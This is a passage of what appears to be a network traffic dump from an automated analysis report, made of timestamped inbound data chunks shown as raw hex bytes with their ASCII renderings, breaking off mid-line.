7c 1b d1 f4 ab 38 a5 d4 7c 6d Data Ascii: cI<i`\|N;\|N7Byo.U[PwV=Yq][w4E^pHm_KkoN~5).;W[x&_i6#vwh\|]"FGxcziAg&$;X[,r:Wo>}>hz,v7&3pl\|8\|m
2022-07-20 11:24:37 UTC	3738	IN	Data Raw: 2e 2f b5 4b 99 64 57 78 96 da ec 2a 2e e1 d1 11 c6 c0 49 e4 ee 1d 71 ce 2b 38 5b 9a f2 0d 6d a1 c2 58 fc 56 f8 5f aa b5 cf 87 ee 62 be 9e cb 55 91 12 79 27 57 8a 29 1b 38 07 73 ca 1a 30 3f 00 2b a7 b7 f8 9d a1 ea 9e 1f 6d 4a 1d 0e e7 6c 7b e2 8a 0b 6b d7 b9 95 63 8c e4 ee 30 81 81 f2 e4 a9 73 9f 7a f3 fd 57 e0 1d a7 8a a4 89 2d 35 cd 27 45 bd b6 92 48 a7 fb 4d cf da a7 99 90 85 c4 8b 12 aa c6 cb d0 ed 04 7a 9a 9f 43 f8 2b e3 9d 12 3f ec ed 2b c6 da 23 69 77 28 fb a4 8e d2 49 e2 8d 71 90 ab 91 c9 60 36 f5 c5 6c d5 26 bd d7 f7 92 af d4 ec 2c 3c 67 a9 de 43 a8 6b 37 72 c1 63 e1 f5 9d d9 a3 f3 02 24 6a 06 11 84 bc 96 0c 72 4f 25 7e 6c 86 ed 53 78 7f c7 96 9a b7 87 74 fd 46 29 f5 25 fb 62 c9 e5 b4 0c 5a 28 c8 3b 5c 97 50 c0 e0 ff 00 09 c1 18 ce 2b cc bc 33 e0 Data Ascii: ./KdWx*.Iq+8[mXV_bUy'W)8s0?+mJl{kc0szW-5'EHMzC+?+#iw(Iq`6l&,<gCk7rc$jrO%~lSxtF)%bZ(;\P+3
2022-07-20 11:24:37 UTC	3788	IN	Data Raw: cf da 44 aa d1 a9 7f 2e 48 ce 76 c5 20 76 2d b4 fd ee 87 3d 6b 29 5a f6 be e1 aa 57 48 ec a3 d0 74 eb 6d 2e e6 c1 ae 67 67 d5 e4 2a ca b2 6c 96 4c 7c a7 2c 98 76 70 3f 88 b1 61 c6 48 1d 32 53 43 bb f0 df 89 2d bc bb 68 1a de 45 75 bd 69 23 92 55 59 36 64 49 e6 28 02 36 ce 37 34 80 ee ed c8 e7 5a ce eb 57 b3 f1 35 cd b3 cf 3e a1 6a ca 92 34 f7 7e 4c 0b ca 7c c4 73 fb c1 b8 77 03 69 e3 2d da 1d 6b c4 56 5a 1e b8 b1 3c b6 d0 5a cb 21 86 4b bf b4 96 55 6d 85 97 74 6a 79 cb 0d a0 70 33 df b5 65 c8 a2 8b 52 6d d8 d8 d1 6d b5 48 7e dd 71 79 ab ae ab a5 c8 af e5 58 b4 63 7d ac c0 fc cc b7 05 bf 78 99 c7 ca c3 e5 db c5 4d 71 a3 c7 ae 69 b7 d6 33 d9 c6 d6 4a df 7a fa da 1b 9b 59 24 ce 77 98 df ba b6 1b 77 19 fe f5 60 f8 4f c7 da 1e b7 6b 14 90 6b 91 de 2d d6 ff 00 Data Ascii: D.Hv v-=k)ZWHtm.gg*lL\|,vp?aH2SC-hEui#UY6dI(674ZW5>j4~L\|swi-kVZ<Z!KUmtjyp3eRmmH~qyXc}xMqi3JzY$ww`Okk-
2022-07-20 11:24:37 UTC	3843	IN	Data Raw: 3b 6b 4f 2c ae e5 52 f1 7c b9 e7 2c 7e 42 47 f0 94 14 9c 44 8e d6 e6 e6 35 9a da da da 28 e7 f3 1b 72 fc df 2a e3 d3 a9 dd 9a c0 d5 35 8d 2b 47 ba 5d 1e f7 55 5b ed 46 75 33 ae 9f 26 3e d5 37 3c f0 b8 07 9e 7a 0f bb 9e d5 16 a9 7d 1f 88 34 dc 8d 42 4b 3f 29 8c 6c b6 32 0d d3 64 71 90 d9 c2 06 c7 d7 9c 57 0d e2 0d 0f 42 ba f1 36 99 e2 17 b3 8e 2b ab 6c c7 2d f2 c8 8e bb 54 63 6b c6 ff 00 32 84 21 58 3a 9d c9 df 20 ed a4 92 29 b3 d0 a3 f1 16 9d a5 dc 41 69 1d 9b 41 f6 95 fd c5 dc 91 84 59 39 39 8b 70 23 e7 cf cc 38 c1 15 82 96 77 9f 6e f9 2e 77 5a ac a9 b9 64 50 8f b3 07 76 cd b8 52 32 db bd ea c6 8f 79 1e b9 a5 c1 15 da c1 79 6f bb cd b4 65 ca ae c1 c9 3f 3e 0e 7d 47 be 6a e6 9a e8 ab 3e 99 1f ca b6 d7 26 45 9e ef 1b f6 e0 3a c9 1f 03 20 03 b7 38 3c 83 f7 Data Ascii: ;kO,R\|,~BGD5(r*5+G]U[Fu3&>7<z}4BK?)l2dqWB6+l-Tck2!X: )AiAY99p#8wn.wZdPvR2yyoe?>}Gj>&E: 8<
2022-07-20 11:24:37 UTC	3899	IN	Data Raw: db 9b 89 64 0d b9 64 da ac b8 c1 c8 c6 4b 1e 3e 6c fa d7 bd fc 07 f8 b9 a3 f8 7e c7 fb 32 e1 76 a4 6c 27 8f ed da 96 e5 57 1d 76 23 a8 50 0f 65 dd f8 d7 3e 2a 32 e4 f7 51 51 b7 53 a0 6f 80 3a 75 ae ad 06 a9 a5 db 4f 73 79 3e a1 e6 b2 dc b2 32 5b c6 a3 88 c2 e7 69 4d ff 00 c4 72 d8 f7 ae d6 1d 1f 4b 6d 3f 5a f0 dd e2 c7 aa ea 53 c5 e5 df 69 f2 48 51 a6 8d 80 62 a9 d1 86 07 dd 38 1c 85 ad 1d 17 c5 5a 35 be a9 a8 25 b5 f5 8d b2 ad b1 91 56 e6 e7 64 f1 ae 4b bb 30 72 17 01 8e 17 83 eb bb b0 e0 bc 75 f1 23 46 d3 75 ab 3b 98 2e 6d b5 39 7c b2 d0 5c dc c8 13 6c c8 09 58 a4 c6 02 e7 76 d5 7e 0e 7d b9 3e 62 72 9b b3 35 d1 1c 5b fe cc f6 17 de 22 68 2c b5 3b 98 ac 25 57 58 a3 bb 50 d3 c2 e3 18 04 a8 2a 41 07 76 dc 86 c7 5c 73 56 3c 4d f0 12 c3 c1 7a 0b 59 a5 ae a1 Data Ascii: ddK>l~2vl'Wv#Pe>2QQSo:uOsy>2[iMrKm?ZSiHQb8Z5%VdK0ru#Fu;.m9\|\lXv~}>br5["h,;%WXPAv\sV<MzY
2022-07-20 11:24:37 UTC	3993	IN	Data Raw: a4 27 a2 c9 29 f9 23 18 1e ca 17 39 cf 5a 1a 27 88 a5 f1 95 bc ba 42 2c 1a 7b e9 b0 79 ed 7d a3 5c 86 82 e2 43 97 46 f3 06 09 2a e7 6e d1 c1 25 8e e3 c0 af 9e 34 bd 52 df 54 8d 5a de 58 27 eb e6 6d c6 e5 60 7b a8 f9 97 f1 c5 75 5e 13 f1 6e a1 e0 dd 4b cf d2 ee 6d b7 6e 46 91 64 5d cb f2 b8 6c 10 79 19 ef 82 38 a8 78 65 24 e5 4d 91 ce d3 b3 3d 7b c3 7e 03 9f c5 5e 13 b9 fe d5 d3 e3 83 c4 77 51 47 3c 57 3b b6 ee 5c a4 81 9d 93 68 f3 9b ee 94 18 66 c3 31 cf 7f 4a d1 fc 3a 2e b4 b8 34 8b 88 ad ac 6e 25 53 1b 41 e4 46 a9 1b e7 e6 58 d3 27 04 fb 7d 48 e9 5e 67 e1 9f 8f 5a 7d e6 a1 04 57 3a 7c 7e 1a b3 f3 7c f9 7f b2 60 12 af 98 0f 70 7e 75 07 27 b9 f4 e0 57 a7 37 c4 ef 0b b4 9a 64 b1 eb fa 5c b7 93 49 fe 84 bf 69 8d 67 93 8d df 32 39 07 66 d6 dd b9 c7 06 bc fa Data Ascii: ')#9Z'B,{y}\CF*n%4RTZX'm`{u^nKmnFd]ly8xe$M={~^wQG<W;\hf1J:.4n%SAFX'}H^gZ}W:\|~\|`p~u'W7d\Iig29f
2022-07-20 11:24:37 UTC	4057	IN	Data Raw: 2b bf ec 3d 3f 4a 65 8d 3c b8 34 b5 78 22 56 07 aa f2 58 64 f5 19 c7 b5 73 ab a6 bd 84 6c 91 f9 97 d1 79 86 4d b3 30 df 1f 7f 4c 1f f3 c5 6b c9 35 11 73 26 2c 2f 70 b6 fb dd a3 82 26 60 af b5 77 ed 24 af a7 4f e9 5b 1a 6e b7 77 a3 79 b2 69 ed 3c 0e df 2c b2 41 8f de 7a 64 01 92 38 fb a6 b8 89 ac 2e 2f 26 64 b4 b9 d4 2f 93 72 37 ee 27 46 68 f0 7e f0 fb ac ac 3a 6e c1 35 a5 a2 dd 1b 89 ae 6d e3 96 e7 74 4c 55 ad a7 64 dd 26 e1 c6 1b 6a 9e be a6 9c 2a 2f 85 a1 4a 3a 5d 33 dc 34 bf 8f 1a dd be 8e ba 7e b2 cb 2d af 93 fb b6 b4 f2 ed 9d 7f ed 99 8f 6b 81 8f ba 40 3e f5 da 7c 2e b3 b3 b3 99 b5 0d 12 f9 5a c1 50 c9 2c 1a 7d b3 b5 d6 ee 1d bc c0 b9 54 55 2b f7 51 4a 90 cc 2b e6 d7 85 d2 19 73 16 e5 66 1e 54 f3 b2 27 5e 8a 47 f9 6f 4a df f0 c7 8a 35 5f 08 ea 10 6a Data Ascii: +=?Je<4x"VXdslyM0Lk5s&,/p&`w$O[nwyi<,Azd8./&d/r7'Fh~:n5mtLUd&j*/J:]34~-k@>\|.ZP,}TU+QJ+sfT'^GoJ5_j
2022-07-20 11:24:37 UTC	4096	IN	Data Raw: f9 4f 35 83 a6 f8 2f c3 d6 7a 2a dd 59 ab 45 a8 ae 67 95 60 df 2b 47 31 21 de 74 5c 1d 98 67 e3 cb 40 bf 3f cc 07 6e e5 7e 1a 78 85 b5 eb 18 f4 ff 00 88 9a cb 24 6a 6d a3 b6 5d 93 fd 9d 46 03 02 ed c6 3f ba b2 2f cc 77 54 30 cd e3 1d 3e cd ae 75 0f 12 d8 fc ac 63 82 da e7 c3 90 fd a2 65 57 da c1 f6 30 c6 17 1b 86 01 1f dd ef 55 1a 4a 4b dd 9a fb 8a f6 8d 68 e3 f8 9e 7b a1 f8 27 46 be b7 bc b4 d1 3c 51 3f d9 6d af 66 95 bc bb 92 ec cc e0 b3 46 55 32 c6 55 27 70 60 ad b4 6d fb bc 35 71 7a e7 c2 9b c6 55 bd d3 3c bd 57 4d 6d 40 49 2f 87 e3 b9 7d d0 cc f9 00 c3 2c ac ad 16 71 b9 a2 c3 7d e6 ed d3 ea 5d 0f 5e 7b 6d 35 a7 f1 1e 9f a6 ab 69 f1 c9 ff 00 13 2b 6b 4f dc 32 03 87 00 37 28 c0 0f 99 41 61 d3 a8 ad 9f ed 4d 1a de d5 6f 2c f4 c8 ef 2d e5 88 2b 41 69 1c Data Ascii: O5/z*YEg`+G1!t\g@?n~x$jm]F?/wT0>uceW0UJKh{'F<Q?mfFU2U'p`m5qzU<WMm@I/},q}]^{m5i+kO27(AaMo,-+Ai
2022-07-20 11:24:37 UTC	4130	IN	Data Raw: cd 8c fb 65 94 c9 3c 96 cb 36 df 95 06 3c cd 80 88 d7 0d b4 67 00 9a c9 56 94 b4 b7 e8 53 a3 18 ea 9f ea 6a dc eb 11 6a 37 50 49 69 2e 97 3a 48 a2 29 d5 b1 ba e9 72 70 a5 89 1b 78 ce 71 f4 c1 1d 31 6e 5e 2b e8 ed a0 93 4f 58 2e 27 91 fe c2 b6 d2 6e 8a 4d bf f2 cc ee 52 50 e1 4f cc 40 db e8 73 56 a5 f0 95 b5 e5 f4 16 62 59 27 7b 3c 4f 14 6d 73 e6 cb 1b a9 6f de 6e 20 72 14 e3 91 c8 27 d7 9a ba a7 c3 7d 7e 3b cf b4 e9 9e 26 d3 f4 c8 9a 52 ab fd a1 07 da a5 9b 93 be 3c f9 88 bb 4a ff 00 17 de 1b 4e 32 05 2b fb 5b c5 c0 4a d4 f5 e6 b1 24 3f 0f c5 d4 7f 69 69 64 b3 9f 6e ed bf 66 1f 2b 2f 18 2c 08 dd f3 6e 3b b0 01 1f 9d 32 3d 37 58 d3 6d 65 11 45 a7 de 45 e5 16 66 be 59 d5 e4 c0 c9 38 20 9c ed e3 8f 4c e3 bd 6c 27 84 fc 51 6d 1f d9 0c f7 31 2c 5b 3c b9 23 98 Data Ascii: e<6<gVSjj7PIi.:H)rpxq1n^+OX.'nMRPO@sVbY'{<Omson r'}~;&R<JN2+[J$?iidnf+/,n;2=7XmeEEfY8 Ll'Qm1,[<#
2022-07-20 11:24:37 UTC	4161	IN	Data Raw: f6 95 7f a8 69 73 4b 3d bd cc 96 d2 ac 6f 03 4f 1d cb ab 32 c8 30 79 1c 95 39 db 8c 90 7e 6f 97 9a 99 53 85 45 cb 28 e8 38 ce 50 77 4c f4 6f f8 6a 2d 4f fb 1e 2d 3b 55 d0 74 f8 1a 0f de c5 77 a2 48 eb 2a be 0e d2 c1 c3 ab 2e 5b 2c a7 05 b1 c9 ad 6d 37 e3 4d 87 8b 35 0b 68 b5 5b 9f b0 d8 79 1e 5c 16 96 d2 3c 56 d7 13 7d e5 17 21 84 6d 22 33 f5 51 20 5c 2a ae 4f 26 bc de e7 c4 d1 f8 8b 4d 5b 2d 46 cf 4f 96 58 a7 59 3f b4 20 b4 09 3e c2 00 31 9f 28 8d c3 f8 86 41 23 ae 6a 25 b5 f1 0e 83 a7 b5 e6 99 73 77 67 63 3a ff 00 a8 e5 ed a4 cf ca 54 1f ba f8 ef 8e 54 9e d5 e4 54 cb 69 ef 4d 59 fa 9e 95 3c 64 f6 9e a8 fa 77 c0 ff 00 15 e3 d0 7e cc 8f 7d 73 a9 fd a6 d9 3e cd f6 9b 4f 29 99 23 38 95 c3 96 39 50 a1 47 2c 71 c7 20 0a ed b5 0f 8a 16 76 aa d6 c2 79 22 59 e4 Data Ascii: isK=oO20y9~oSE(8PwLoj-O-;UtwH.[,m7M5h[y\<V}!m"3Q \O&M[-FOXY? >1(A#j%swgc:TTTiMY<dw~}s>O)#89PG,q vy"Y
2022-07-20 11:24:37 UTC	4209	IN	Data Raw: 6b 7d 75 89 1e d7 cd 3f b8 81 e3 0a b3 c1 f3 6e 5f 2f 93 92 71 d0 f4 38 f5 f4 a9 6c ef 0d ae e1 e4 5d b1 8d bc df f4 4c 2a 7c c3 a6 cd dc 74 27 6f dd f9 b8 ad 15 2b b4 e4 ef f2 32 f6 8f ec e8 54 d3 fc 31 65 ad e8 b7 96 10 5d 40 b2 b4 89 25 db 47 6d 26 c6 61 b0 a9 65 24 ab e4 81 91 90 a7 9c f7 dd 69 2d 45 b5 bc 11 c1 2f ef f6 85 5b 6b b9 11 1e 15 1d 4f ee b7 2f ce 87 85 c0 3e e3 b5 19 35 1b f8 75 66 7b 46 be 81 a7 db 24 73 df 4e 1d a3 66 01 b6 ed dd 95 c7 cb 91 8d bb 59 79 39 20 5e 4b 7b f7 dd 10 be f3 f7 2b f9 12 5c a8 59 66 5e 76 90 bf 74 9d cd c6 79 3f 8d 74 59 68 92 bb 32 d7 76 c9 2e 6c f5 4d 73 50 8a 3d 3a e6 3b c5 8d 99 5e 3b 98 dd dd 57 fd 9e 47 53 83 bb 91 b4 56 4d cf 85 f5 7b 1d 42 29 34 2f 2e 54 ba 61 f6 99 24 b9 79 59 5c 20 56 5d 82 40 9b 42 f4 Data Ascii: k}u?n_/q8l]L*\|t'o+2T1e]@%Gm&ae$i-E/[kO/>5uf{F$sNfYy9 ^K{+\Yf^vty?tYh2v.lMsP=:;^;WGSVM{B)4/.Ta$yY\ V]@B
2022-07-20 11:24:37 UTC	4255	IN	Data Raw: f8 4b c4 da 85 a7 89 da 0d 16 ce e6 e5 23 9d a7 bf 83 7c 9b 9c 85 92 34 99 98 4c 8c df 29 67 cf 4e 4a f7 b8 49 b8 bf 68 d1 9c be 2f 75 5c f9 e3 e2 26 ab a8 41 af 6a 72 cb ae 69 be 2c d5 35 29 e7 9d a7 81 63 b9 da ca 4f 9a 37 63 76 e2 7e 60 31 bb 1d 32 2a 6b 8f 8a 56 f6 b7 1a 1f da d6 39 ec e7 54 f3 ef b4 b6 79 15 79 da c4 27 98 a4 63 ba b9 af a0 6c 3c 1b e1 0f 06 e9 be 21 b6 92 db 49 d3 ef 2e a3 12 5a 41 a9 4b a7 41 7d e7 0d fb a3 81 c4 87 72 95 ce 63 d8 06 76 fa 73 e2 37 fa 4d a3 68 37 3f 69 9e c7 ed f1 ce 7c db 49 2d a3 89 ee 94 1c 95 2b 1e 0a e7 8e 99 1f ca ba 69 b9 59 f2 93 2b 69 cc 8a 57 1e 39 bf d2 99 64 b8 5b b6 b2 92 57 75 69 14 4e 92 28 23 6e 08 39 51 dc 72 7f 1a 9b 4f f8 af a5 3c 32 fd ae 05 8a 5d c1 63 93 cb dc db 87 5d c5 4f 41 db 07 fe 03 4b Data Ascii: K#\|4L)gNJIh/u\&Ajri,5)cO7cv~`12*kV9Tyy'cl<!I.ZAKA}rcvs7Mh7?i\|I-+iY+iW9d[WuiN(#n9QrO<2]c]OAK
2022-07-20 11:24:37 UTC	4295	IN	Data Raw: 0a cb 55 2f bc d3 ea b4 df 43 c3 ed 74 af 89 1e 0d 99 ae ec a7 d4 ad 9a 35 2a d7 3a 6d de ef 94 a7 4f 91 b3 b4 a6 47 d3 8a d0 b1 f8 c9 e2 1d 26 4d 9a fe 95 fd a1 e5 c7 b5 7e d2 af 13 ee c6 17 73 10 77 00 7f 86 bd 7d 2e 27 5d 43 62 ce b1 23 49 e6 2a ab 6d dd 83 fc 4b 81 f4 c7 e7 8c 0a ad 6b 34 97 3f bd dd 1d cb c6 de 62 ed f2 59 a3 70 40 19 76 03 e4 fb dd 31 fa 72 3c 62 9f f1 60 98 d6 1f 97 e1 95 8e 4f 4a f8 f5 a0 6a 0a b1 6a 96 32 58 ee 50 b2 2c 6a 5d 36 83 9c 0c 10 71 9f e1 ae 93 55 f1 97 86 fe 23 6d 8a e3 c4 7a 84 b0 41 20 92 2b 69 2f e4 55 de 00 55 3b 09 c6 dd 9f 2f 3d 3a 0c 56 6d e7 81 ac 2f a4 79 6e 34 c8 e5 69 25 dc ca b1 ed f3 1c f3 8c 06 2b c6 49 27 8c d6 3e ad f0 77 47 46 80 fd 8e e6 d3 cc 5d de 64 73 86 dd b4 72 71 51 19 61 d4 af 06 e2 fc 86 e1 Data Ascii: U/Ct5:mOG&M~sw}.']Cb#ImKk4?bYp@v1r<b`OJjj2XP,j]6qU#mzA +i/UU;/=:Vm/yn4i%+I'>wGF]dsrqQa
2022-07-20 11:24:37 UTC	4343	IN	Data Raw: 65 5d df 2f 9f 24 90 af 96 bb c1 e0 31 1b 8e d0 dc 71 cf 39 ac 1c 9d ef 1b 21 f2 2b 59 9e 91 61 e2 2f 05 de 49 f6 cd 4f 4c 82 0b 7b ab 63 f6 bb 4b 98 0c a9 34 d9 76 66 b8 58 d5 7c e5 2c 54 85 28 08 65 ce 47 15 d3 78 5f c7 1e 1c d4 a6 fb 1e 9c b6 97 2e b3 98 e4 b6 8e da 7d d7 0e e0 13 20 27 7b 63 7b fc ca 0e 00 dd d3 6f 3e 34 d7 db da cd cb 42 b7 0c c3 77 da ed be ea 04 19 60 03 1d e4 3e df 94 b1 5c 0e b5 d2 f8 73 c4 fe 25 f0 ca b4 f6 fa 9e 84 b7 12 48 37 2e 9b 19 59 64 42 a7 6e 62 cb 2e d0 36 e3 e7 e7 d2 bd 1a 38 ca 90 d6 6a e8 f3 ab 61 21 2f 85 bb f9 b3 d8 e4 b7 8b c6 16 f6 7e 63 41 66 f6 28 55 a2 6f 2e eb ce 8a 43 b8 c2 1b 71 8c aa ed 56 c1 43 d8 2f 7a c0 b9 be d4 de de ce fe df 5a b9 f0 ac fa 84 02 da e7 c3 71 da 08 3c 98 d1 f2 f2 19 3c bd c2 7e ca c9 Data Ascii: e]/$1q9!+Ya/IOL{cK4vfX\|,T(eGx_.} '{c{o>4Bw`>\s%H7.YdBnb.68ja!/~cAf(Uo.CqVC/zZq<<~
2022-07-20 11:24:37 UTC	4367	IN	Data Raw: a6 ea 51 dd 2c 38 ce 22 9e 28 72 c8 ec 8c bb 5f 7a 86 f4 dc 2a ad 87 8b 2c a1 d2 ed 2e e4 b9 ff 00 4f 6b df 2b cb f2 1f 64 31 f1 89 52 5c bb 70 4b 36 d6 da c0 74 63 d2 b8 be a9 86 93 6d c7 7f 99 af b4 ab 64 93 67 e8 36 b1 f0 45 35 ed 4a 2b b3 aa c9 63 e6 2b ac b1 ab 3a a4 d2 79 82 4c f9 88 63 70 01 53 88 fa 36 e6 0c bd 68 6f 02 e9 e8 d6 86 e3 53 8e 7b 88 18 4f 3d 8d 8f 9f 2a 6e 47 f9 65 c7 98 59 7d f1 cf f0 9a f9 31 be 27 6a b6 fa a5 cd 86 91 e3 d9 35 cf 0f 5b dc c7 1b 6a 17 7f 68 82 ce 49 07 ef 22 8e 46 98 0f 2d fe 53 b7 0f f3 76 62 09 15 a1 a5 fc 64 4b cb 18 23 9f 50 d4 2c 5a 26 92 28 17 4f 8e 36 b6 91 e4 e0 a7 0c 15 5b b9 2c a4 ee 55 23 15 3f d9 f4 77 8d 87 f5 9a db 36 7d 7d 67 aa f8 6a da 68 ac 24 d6 ae fe dd 3a ed b4 f2 da eb ca b8 5f bc 36 33 92 ae Data Ascii: Q,8"(r_z,.Ok+d1R\pK6tcmdg6E5J+c+:yLcpS6hoS{O=nGeY}1'j5[jhI"F-SvbdK#P,Z&(O6[,U#?w6}}gjh$:_63
2022-07-20 11:24:37 UTC	4383	IN	Data Raw: 09 59 10 49 bd 66 b6 95 1d 88 f2 db 00 65 41 e0 56 32 a8 e4 d2 9d ae 52 8d 95 d1 e6 5a ae 87 ab e8 8d 67 71 73 a6 49 a4 5b cb 29 58 ed ae 58 ec e3 8d bb 9d 4b 2b 2f 65 3f 7b fb d5 12 c7 1c 7b 92 e3 6b 2b 31 db e6 2e d6 e4 f2 31 fe 15 ee 3e 13 f1 68 f8 a9 37 88 53 50 f0 f7 fc 24 7a b5 cd b2 2a c1 24 90 b2 db c6 a7 1f e8 cb 23 1d a4 96 f9 80 38 23 9c 7c b5 e6 7a bf 80 f5 3b 05 9e 24 83 ca 78 24 75 fe cb 69 0c ae b0 f0 51 b2 ab b5 94 8f 94 60 9e 55 b8 ae b8 4b 5e 56 88 e8 ac 71 c9 62 2d 63 63 13 4f 17 99 21 6f f4 6c fc ca 3e 5d a1 79 ec 2a fd b5 c9 92 69 7e cd 3a dc ff 00 7a 36 5d db 78 f6 20 af f2 fd 6a 1b ad f1 cd 14 57 0d 3d b6 ec af dd f9 1b be 37 10 57 3e a0 fe 54 fb 7b e8 bc b6 da b7 3e 5c 4b b5 99 a3 3b 59 47 bf 56 22 b7 51 49 d9 11 67 d4 73 cc 21 56 Data Ascii: YIfeAV2RZgqsI[)XXK+/e?{{k+1.1>h7SP$z$#8#\|z;$x$uiQ`UK^Vqb-ccO!ol>]yi~:z6]x jW=7W>T{>\K;YGV"QIgs!V
2022-07-20 11:24:37 UTC	4399	IN	Data Raw: 91 2d 8d fb 7c cd 3a e7 6c 9e ec a3 bf bf f3 af 1e ba f0 fd fd b4 92 a3 db 5c ab 47 27 96 df 2f f1 67 03 f0 3d 8f 43 5c 15 6a e2 70 ff 00 16 ab b9 d9 0a 74 6a f9 33 dd ad 7c 7f a0 6a 12 79 76 da 84 2c cb f7 99 a7 11 2f fe 3d 82 7d b1 5b 56 f7 91 1d b2 09 e3 97 76 3e 68 24 46 6e 38 e7 06 be 63 92 de 44 9b c8 91 76 ce b2 79 6d 1c 91 fc ca dd 31 5a de 20 f0 c3 f8 76 68 8f cb 2d ac ab fb b9 fe e7 cc 38 60 7d c1 ac e1 98 4e 3a ca 37 2a 58 48 dd 5a 47 d2 e9 32 49 1b 04 65 57 db b5 bf 95 56 8e ea 27 b8 63 fe 8d 2a ae 57 73 37 f1 63 d7 a5 7c d1 63 a9 5e d8 b6 6d ef 2e e2 ff 00 ae 57 26 b6 6d bc 7f e2 4b 5f 2a 38 f5 7b 9d 91 fc aa ac a1 95 57 f1 06 b4 fe d1 8b de 22 fa a3 5b 33 e8 8d 3e ea e2 ce 66 96 cd a4 83 7a ed dd 1b 15 dc be fe d5 a1 a7 f8 a3 55 b1 d7 22 bf Data Ascii: -\|:l\G'/g=C\jptj3\|jyv,/=}[Vv>h$Fn8cDvym1Z vh-8`}N:7XHZG2IeWV'cWs7c\|c^m.W&mK_*8{W"[3>fzU"
2022-07-20 11:24:37 UTC	4407	IN	Data Raw: 12 d3 bf e1 20 bc d2 b4 0d 3a ee 2d 46 0c ac 96 8d 21 9d 18 8e 7f 76 48 c9 1b 7e 6c 36 df e2 e4 f1 5e 8d f0 e7 f6 a6 d3 fc 7f e3 6d 7b c1 5e 33 f0 3e a9 f0 fb ed 51 79 96 da ce b6 af 14 17 cf 0f cf 1a b4 8d 1a 79 32 71 b9 18 6e e9 8e 0f 5e b3 4d ff 00 84 72 1b cb 6f 0f 5e e8 7a 36 a1 75 e6 89 e4 d6 56 fe 37 96 ea 1d a4 b4 a6 48 f1 28 70 e1 03 64 e0 af e5 51 4f 11 55 49 b9 6a 54 a9 a5 b1 e1 fa 1f c2 3d 47 52 93 6e a9 6d 73 a2 f9 b7 b1 da 2d cb 28 f2 23 66 24 31 6c 13 d0 81 f2 f7 f5 ae 92 ef f6 6b f1 1d ba cf f6 4d 57 4b d4 22 56 f9 57 6c 8a f2 37 a0 50 ad fa d7 b1 78 93 45 d5 21 d0 d8 09 6d b5 ab 85 97 cf 8e 3b 9b 48 e2 6d bb c8 38 31 8d d2 8c 1e 32 19 b8 ed 59 f6 b7 da ba 6b d6 77 3a af 86 a0 fb 02 d8 ce d2 47 a4 f9 d7 4d 7c e7 e6 c0 e1 14 16 01 be 5e 7e Data Ascii: :-F!vH~l6^m{^3>Qyy2qn^Mro^z6uV7H(pdQOUIjT=GRnms-(#f$1lkMWK"VWl7PxE!m;Hm812Ykw:GM\|^~
2022-07-20 11:24:37 UTC	4423	IN	Data Raw: e7 9a f3 0f 84 57 ba a5 f6 b0 b6 76 1a bc 6d a4 47 87 b2 f3 d4 ee b1 b8 62 18 ae ee 58 27 2c a3 93 91 eb cd 77 be 19 b6 83 c4 f1 f8 86 43 2a e9 fe 21 8a 59 ad 25 92 e6 3d be 5c 80 ff 00 e8 a6 f6 e9 ce 0d 72 54 87 2b b7 43 58 b2 7f 0b f8 ea 5f 11 6b 5a bc 93 c5 f6 6b db 3b d4 8a 49 27 6f 35 f6 24 87 cb 97 18 0b 82 dd 18 67 df a5 69 6a 52 5e 68 b3 2d cc f2 b5 e5 9c 91 bf cd 02 ef f3 32 32 7e 4c 64 63 fa d7 15 7d e2 81 e1 ef 10 68 b6 97 17 d1 e9 17 57 d1 ba cb 3c 8c 8e cd 91 b1 55 0b 02 1b 18 6e bd 02 e3 e5 aa 9f 0f 7c 4f e2 5f 0e c3 79 a5 78 b6 f1 a0 b5 be 9d d6 0d 6e 39 13 fd 1d dc 6e 11 bb 67 e5 04 fd dc 8f e2 65 cf 15 3e cd ee 87 cc 7a 1e 9b e1 1b 9b 7d 3e 0f 10 68 17 37 d6 7e 2f d3 2c 45 b3 7d 92 04 6f b4 5b 1c 16 52 65 0d e7 14 fb df 36 71 d3 d2 b9 ab Data Ascii: WvmGbX',wC*!Y%=\rT+CX_kZk;I'o5$gijR^h-22~Ldc}hW<Un\|O_yxn9nge>z}>h7~/,E}o[Re6q
2022-07-20 11:24:37 UTC	4439	IN	Data Raw: f3 7f c6 df 0c 0f 85 da 3c 5e 2a d3 25 bb d4 3c 2b 3c b1 c5 35 b4 3a a1 8d a1 dc 30 8d 6d 2a 8c ec 27 aa 9f d7 9a f9 26 1f 12 49 a1 eb 53 ea fe 18 9e 4f b3 ea 4b f3 2e ac b0 b3 72 43 14 93 ca 1b 58 03 86 0c 02 9f 6c f5 fa 77 f6 bb b6 f1 1e 97 a6 da 47 66 aa be 1b d4 94 ad dd b4 f0 a3 79 93 fb 29 ca 82 47 3f 2f cc 7e f6 7a d7 cd f6 df 0c fc 51 34 6d 77 1f 87 b5 28 2d e3 8f 77 da 6e 60 f2 20 db db e7 93 6a fd 39 af 43 0f 28 ca 37 93 1c 91 eb 7a f7 8b 34 1d 72 f3 c3 da 66 b7 fd 97 aa dc 5a db 24 6d 3c 0b be c2 46 7c e5 72 ad b9 31 f7 90 9c 7d e6 53 d6 bc a7 e2 16 83 6f a7 f8 d9 74 8d 33 4a b9 d3 12 45 48 a4 b4 92 fc 5c 7e f9 8f ca 14 f4 0a 41 5e 09 c8 3f af 27 26 9f 73 35 ac f7 f0 2c eb 04 7f 2c b2 47 09 64 dc 0e 3e 6c 74 f9 bb e7 07 de ab 47 aa 46 ac db 15 Data Ascii: <^%<+<5:0m'&ISOK.rCXlwGfy)G?/~zQ4mw(-wn` j9C(7z4rfZ$m<F\|r1}Sot3JEH\~A^?'&s5,,Gd>ltGF
2022-07-20 11:24:37 UTC	4446	IN	Data Raw: 62 5b e6 3e fc d7 c9 3f 16 ff 00 e0 9c fa b7 c4 4f 1b 37 88 2e 3e 26 c7 14 37 33 3c b7 32 ea da 71 b9 b9 da dc 70 7c c0 9b 00 e8 0e 36 9e 9d a9 c6 d7 b4 bf cc 3e 67 dc 12 47 76 ab 72 2e 56 38 19 9b e5 8d be 5d ac 3a 7c c0 71 cf ad 4d e1 db 3d 42 15 b9 93 53 95 65 59 30 d6 cb 1c 9b 91 63 c7 20 81 f2 9f 9b 9c fa 7d 39 c1 f8 75 e1 19 3c 27 e0 9d 0f 44 b9 d7 ae fc 43 2e 95 a7 c3 63 e7 dc a8 5f 39 63 1b 7c c7 19 2c ee 40 e5 8b 1f 60 2b a6 79 0d 8d ac b2 79 ab 02 2f f0 fd e5 6c 74 e3 ad 2b 26 ee 17 b1 16 a9 0d b7 cd 6d 71 17 90 92 29 da aa c5 